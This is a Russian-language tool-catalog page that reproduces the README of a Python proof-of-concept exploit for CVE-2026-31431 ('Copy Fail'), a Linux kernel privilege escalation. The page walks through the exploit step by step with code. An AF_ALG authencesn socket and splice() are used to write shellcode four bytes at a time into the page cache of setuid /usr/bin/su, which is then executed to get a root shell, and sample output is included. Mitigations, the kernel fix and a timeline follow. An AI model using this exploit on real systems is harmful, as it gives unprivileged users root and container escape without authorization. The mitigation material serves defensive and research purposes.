Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31431-python-copyfail-POC — Эксплойт на Python для CVE-2026-31431 — повышение привилегий в ядре Linux через повреждение page cache у setuid-бинарников, позволяющее получить root-доступ. | Kitploit
Инструменты/GitHubGitHub/julichaan/cve-2026-31431-python-copyfail-poc
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed TeamingЭксплуатация Бинарных Файлов
GitHubjulichaan/cve-2026-31431-python-copyfail-poc

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-31431-python-copyfail-POC

Эксплойт на Python для CVE-2026-31431 — повышение привилегий в ядре Linux через повреждение page cache у setuid-бинарников, позволяющее получить root-доступ.

Репозиторий
3 месяцев назадЕщё не проверено

CVE-2026-31431: Copy Fail — повышение привилегий в ядре Linux

Copy Fail (CVE-2026-31431) — это критическая логическая ошибка в криптографической подсистеме ядра Linux, которая позволяет непривилегированным пользователям получить повышение привилегий до root. Уязвимость затрагивает ядра Linux версий 6.0.0 — 6.18.x во всех основных дистрибутивах.

Этот репозиторий содержит реальный эксплойт, который вызывает уязвимость путём повреждения страничного кэша setuid-бинарников и выполнения произвольного кода с привилегиями root.


Что такое Copy Fail?

Copy Fail — это логическая ошибка, которая позволяет непривилегированным пользователям записывать произвольные 4-байтовые фрагменты непосредственно в страничный кэш ядра любого читаемого файла в системе, включая setuid-бинарники.

Ключевые характеристики:

  • Детерминированность: не требуются гонки или временные окна
  • Переносимость: один и тот же эксплойт работает во всех уязвимых дистрибутивах (Ubuntu, RHEL, Amazon Linux, SUSE)
  • Скрытность: файлы на диске никогда не изменяются; повреждается только страничный кэш в памяти
  • Контейнеризация: обходит границы контейнеров, поскольку страничный кэш является общим для хоста
  • Простота: требует только Python 3.10+ и модули стандартной библиотеки

Технические детали

Корневая причина: операции AEAD на месте

Уязвимость проистекает из оптимизации 2017 года в algif_aead.c (коммит 72548b093ee3), которая изменила операции AEAD с внешних (out-of-place) на внутренние (in-place):

До (безопасно — 2015):

root@kitploit:~
TX Scatterlist (вход)  ← TX буфер (данные пользователя из файла)
RX Scatterlist (выход) ← RX буфер (область вывода пользователя)
                          
Раздельные scatterlist = страницы страничного кэша доступны только для чтения

После (уязвимо — 2017):

root@kitploit:~
Объединённый Scatterlist:
[ RX буфер ] [ Страницы страничного кэша, связанные через sg_chain() ]
↑                ↑
req->src = src   req->dst = dst  (ОДИН И ТОТ ЖЕ scatterlist)

Страницы страничного кэша теперь находятся в ЗАПИСЫВАЕМОМ scatterlist!

Объединённый scatterlist выглядит так:

root@kitploit:~
[AAD + Шифротекст из RX буфера] || [Тег из страничного кэша /usr/bin/su]
                                  ↑
                                  Граница
                                  (authencesn записывает ЗА эту точку)

Триггер: запись в scratch-область алгоритма authencesn

Алгоритм authencesn — это обёртка AEAD, используемая IPsec для расширенных порядковых номеров (ESN). Он выполняет вычисление HMAC, но ему необходимо переупорядочить байты внутри AAD (аутентифицированных сопутствующих данных).

В коде ядра (crypto/authenc.c) при расшифровке:

root@kitploit:~
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // чтение байтов AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // временно: перезапись dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← КЛЮЧЕВАЯ СТРОКА
                                                        // запись 4 байтов в dst[assoclen+cryptlen]

Проблема: третья запись происходит по смещению assoclen + cryptlen. В уязвимом внутреннем (in-place) пути:

  • Обычный случай: это смещение находится в пределах RX буфера пользователя (безвредно)
  • Уязвимый случай: это смещение находится за пределами буфера пользователя и попадает в связанные страницы страничного кэша (КРИТИЧНО)

Ядро рассматривает эту позицию как «расходуемое scratch-пространство» и записывает туда значение навсегда. Исходные байты в этой позиции страничного кэша теряются безвозвратно.

Цепочка атаки

root@kitploit:~
1. Атакующий открывает AF_ALG сокет → привязывает к authencesn(hmac(sha256),cbc(aes))
   (Привилегии не требуются; AF_ALG доступен непривилегированным пользователям по умолчанию)

2. Атакующий открывает целевой файл: /usr/bin/su (setuid-root бинарник)

3. Атакующий использует splice() для доставки страниц страничного кэша /usr/bin/su
   в AF_ALG сокет в качестве «шифротекста» и «тега»
   
4. Атакующий отправляет sendmsg() с AAD, содержащим:
   - Байты 0-3: заполнение
   - Байты 4-7: seqno_lo = 4-байтовое значение для записи (контролируется атакующим)
   - Байты 8+: заполнение

5. Атакующий вызывает recvmsg(), который запускает операцию расшифровки AEAD
   
   Внутри расшифровки authencesn в пространстве ядра:
   a) Ядро читает байты AAD 0-7
   b) Ядро записывает seqno_hi в dst[4..7] (временно, затем восстанавливает)
   c) Ядро записывает seqno_lo в dst[assoclen + cryptlen]
      ↓
      ЭТА ЗАПИСЬ ПЕРЕСЕКАЕТ ГРАНИЦУ ИЗ БУФЕРА ПОЛЬЗОВАТЕЛЯ В СТРАНИЦЫ СТРАНИЧНОГО КЭША
      ↓
      4-байтовая запись в страничный кэш /usr/bin/su происходит ЗДЕСЬ
   d) Ядро вычисляет HMAC (проверка не проходит — шифротекст сфабрикован)
   e) recvmsg() возвращает ошибку
   
   НО: 4-байтовая запись УЖЕ СОХРАНЯЕТСЯ в страничном кэше

6. Атакующий повторяет шаги 2-5 для каждого 4-байтового фрагмента шеллкода

7. Атакующий выполняет /usr/bin/su
   - Ядро загружает бинарник из СТРАНИЧНОГО КЭША (который теперь содержит шеллкод)
   - Бинарник является setuid-root
   - Шеллкод выполняется с UID=0
   - Атакующий получает доступ root

Почему это работает


Эксплойт: пошагово

Шаг 1: Настройка сокета

root@kitploit:~
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # Сокет запроса для операций AEAD

Создайте AF_ALG сокет, привязанный к шаблону AEAD authencesn.

Шаг 2: Открытие целевого бинарника

root@kitploit:~
target_fd = os.open("/usr/bin/su", os.O_RDONLY)

Откройте setuid-бинарник, который будет повреждён. Подходит любой читаемый файл, но setuid-бинарники выбираются для повышения привилегий.

Шаг 3: Создание канала для splice

root@kitploit:~
pipe_rd, pipe_wr = os.pipe()

Создайте канал, который будет действовать как посредник для операций splice(). Буферы канала будут содержать ссылки на страницы страничного кэша.

Шаг 4: Передача файла в канал через splice

root@kitploit:~
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

Используйте splice() для передачи cryptlen байтов из /usr/bin/su, начиная с write_offset, в канал.

Почему это важно: splice() передаёт данные между файловыми дескрипторами без копирования. Он передаёт прямые ссылки на страницы страничного кэша ядра. Эти страницы остаются во внутренней буферной структуре канала.

Шаг 5: Формирование параметров AEAD

root@kitploit:~
assoclen = 8          # Длина AAD: байты 0-7
cryptlen = 32         # Длина шифротекста (== вывод HMAC-SHA256)
authsize = 32         # Длина тега
write_offset = 0x2000 # Смещение в /usr/bin/su для записи

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

AAD (аутентифицированные сопутствующие данные) содержит:

  • Байты 0-3: Заполнение
  • Байты 4-7: 4-байтовое значение для записи (seqno_lo) ← Контролируется атакующим
  • Остальное: Заполнение

Алгоритм authencesn будет использовать байты 4-7 этого AAD в своей scratch-записи.

Шаг 6: Отправка AAD

root@kitploit:~
req_sock.sendmsg([aad], [], socket.MSG_MORE)

Отправьте AAD в AF_ALG сокет. Флаг MSG_MORE указывает, что шифротекст/тег последуют далее.

Шаг 7: Передача шифротекста+тега в сокет через splice

root@kitploit:~
os.splice(pipe_rd, req_sock.fileno(), cryptlen)

Передайте страницы страничного кэша из канала в AF_ALG сокет. Теперь scatterlist ядра содержит:

root@kitploit:~
Цепочка Scatterlist:
[ AAD (из RX буфера) ] || [ Шифротекст (из RX буфера) ] → [ Тег (страницы страничного кэша) ]
                                                               ↑
                                                     По-прежнему ссылается
                                                     на страницы /usr/bin/su

Шаг 8: Запуск уязвимости через recvmsg()

root@kitploit:~
try:
    req_sock.recv(1024)
except OSError:
    pass  # Ожидается сбой с недействительным HMAC

Вызовите recvmsg() для запуска операции расшифровки AEAD:

Внутри authencesn в пространстве ядра:

  1. Ядро читает байты AAD 0-7
  2. Ядро временно перезаписывает байты AAD 4-7 (seqno_hi)
  3. Ядро записывает байты 4-7 AAD (seqno_lo) в dst[assoclen + cryptlen]
    • Это смещение: 8 + 32 = 40 байтов в scatterlist
    • RX буфер составляет всего ~48 байтов
    • Запись по байту 40 ПЕРЕСЕКАЕТ границу в связанные страницы страничного кэша
  4. Ядро восстанавливает байты AAD 4-7 из временного местоположения
  5. Ядро вычисляет HMAC по переупорядоченным данным → НЕ ПРОХОДИТ (сфабрикованный шифротекст)
  6. Ядро возвращает ошибку
  7. Но 4-байтовая запись по смещению 40 уже произошла и сохраняется

Шаг 9: Повторение для каждого фрагмента шеллкода

root@kitploit:~
for i in range(0, len(shellcode), 4):
    chunk = shellcode[i:i+4]
    exploit_target_file("/usr/bin/su", base_offset + i, chunk)

Эксплойт зацикливается, записывая 4-байтовые фрагменты шеллкода по последовательным смещениям в страничном кэше /usr/bin/su.

Шаг 10: Выполнение повреждённого бинарника

root@kitploit:~
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)

Выполните /usr/bin/su:

  • Ядро загружает бинарник из страничного кэша (повреждённая версия с шеллкодом)
  • Шеллкод находится по известному смещению
  • setuid-бит бинарника всё ещё установлен
  • Шеллкод выполняется с UID=0
  • Запускается root-оболочка

Запуск эксплойта

Предварительные требования

  • Ядро Linux 6.0.0 — 6.18.x (уязвимые версии)
  • Python 3.10+ (для поддержки os.splice())
  • Модули AF_ALG и authencesn должны быть загружены:
    root@kitploit:~
    lsmod | grep -E 'af_alg|algif_aead|authencesn'
    
  • Локальный доступ пользователя к системе
  • /usr/bin/su должен быть setuid и читаемым

Выполнение

root@kitploit:~
python3 exploit.py

Ожидаемый вывод на уязвимой системе:

root@kitploit:~
[*] CVE-2026-31431 (Copy Fail) Повышение привилегий в ядре Linux
[*] Цель: /usr/bin/su (setuid-root бинарник)

[*] Версия ядра: 6.12.0-1007-aws
[+] Ядро 6.12.x находится в уязвимом диапазоне (6.0 — 6.18)

[+] Найден /usr/bin/su (setuid-root бинарник)
[+] Проверка уязвимости ядра: AF_ALG + splice + authencesn

[*] Начало повреждения страничного кэша...

[*] Внедрение 33 байтов шеллкода в /usr/bin/su
[+] Записан фрагмент 0 по смещению 0x2000
[+] Записан фрагмент 1 по смещению 0x2004
...
[+] Внедрение шеллкода успешно!
[*] Выполнение /usr/bin/su для запуска шеллкода...

# id
uid=0(root) gid=1001(user) groups=1001(user)

Меры по смягчению

Немедленные (до обновления ядра)

Отключение поддержки AEAD в AF_ALG:

root@kitploit:~
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit

Это предотвращает доступ эксплойта к интерфейсу AEAD в AF_ALG, сохраняя при этом остальную функциональность AF_ALG.

Выгрузка уязвимых модулей:

root@kitploit:~
sudo rmmod algif_aead
sudo rmmod authencesn

Блокировка создания AF_ALG сокетов через seccomp (для контейнерных сред):

root@kitploit:~
# В политике безопасности контейнера запретить системные вызовы socket(38, SOCK_SEQPACKET)

Долгосрочные (обновление ядра)

Обновитесь до Linux 6.19+, который включает исправление (коммит a664bf3d603d).

Исправление возвращает algif_aead.c к внешним (out-of-place) операциям AEAD:

root@kitploit:~
// До (уязвимо, in-place):
aead_request_set_crypt(&areq->cra_u.aead_req, 
                       rsgl_src,        // RX SGL (вход)
                       rsgl_src,        // RX SGL (выход) — ТОТ ЖЕ
                       used, ctx->iv);

// После (исправлено, out-of-place):
aead_request_set_crypt(&areq->cra_u.aead_req,
                       tsgl_src,        // TX SGL (вход)
                       rsgl_src,        // RX SGL (выход) — РАЗНЫЙ
                       used, ctx->iv);

С раздельными scatterlist источника и назначения:

  • Вход: TX scatterlist (может содержать страницы страничного кэша из splice)
  • Выход: RX scatterlist (буфер пользователя)
  • Страницы страничного кэша никогда не находятся в записываемом назначении
  • Scratch-запись authencesn остаётся в пределах буфера пользователя (безвредно)

Хронология уязвимости


Затронутые версии


Почему эта уязвимость важна

  1. Кросс-дистрибутивность: одна и та же атака работает на Ubuntu, RHEL, Amazon Linux, SUSE
  2. Привилегии не требуются: локальный непривилегированный пользователь → root
  3. Побег из контейнера: общий страничный кэш означает возможную компрометацию pod-хоста
  4. Влияние на Kubernetes: вектор побега с узла в кластерах Kubernetes
  5. Логическая ошибка: не off-by-one и не переполнение буфера; чисто логический дефект
  6. Скрытность: нет сбоев системы, нет логов, файлы на диске не тронуты
  7. Надёжность: нет временных окон или гонок, которые нужно выигрывать

Ссылки

  • Раскрытие Xint Research: https://xint.io/blog/copy-fail-linux-distributions
  • Коммит исправления ядра: https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
  • Уязвимый коммит: https://github.com/torvalds/linux/commit/72548b093ee3
  • Детали CVE: CVE-2026-31431
  • Исследовательская команда: Xint Code / Theori

Отказ от ответственности

Этот эксплойт предназначен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте надлежащую авторизацию перед тестированием уязвимостей.

Скачать инструмент
АспектОбъяснение
Без сбоевОперация завершается с точки зрения ядра
ДетерминированностьНет гонок; синхронно и надёжно
ПостоянствоПовреждение страничного кэша сохраняется даже после ошибки recvmsg()
НевидимостьФайл на диске не тронут; стандартные инструменты целостности ничего не обнаруживают
УниверсальностьОдин и тот же код работает во всех дистрибутивах; не требуются смещения для каждого дистрибутива
ПереносимостьРаботает на архитектурах x86-64 и ARM64
ДатаСобытие
2017-Q3Уязвимость внедрена в algif_aead.c (коммит 72548b093ee3)
2026-03-23Сообщено команде безопасности ядра Linux
2026-03-24Команда ядра подтверждает уязвимость
2026-03-25Предложены и рассмотрены патчи
2026-04-01Патчи объединены в основную ветку ядра (коммит a664bf3d603d)
2026-04-22Присвоен CVE-2026-31431
2026-04-29Публичное раскрытие (Xint Research)
СерияСтатусДетали
Linux 5.x✅ БезопасноПредшествует уязвимости
Linux 6.0 — 6.18❌ УязвимоЗатронуты все минорные версии
Linux 6.19+✅ БезопасноСодержит исправление (коммит a664bf3d603d)
Linux 7.0+✅ БезопасноПосле объединения исправления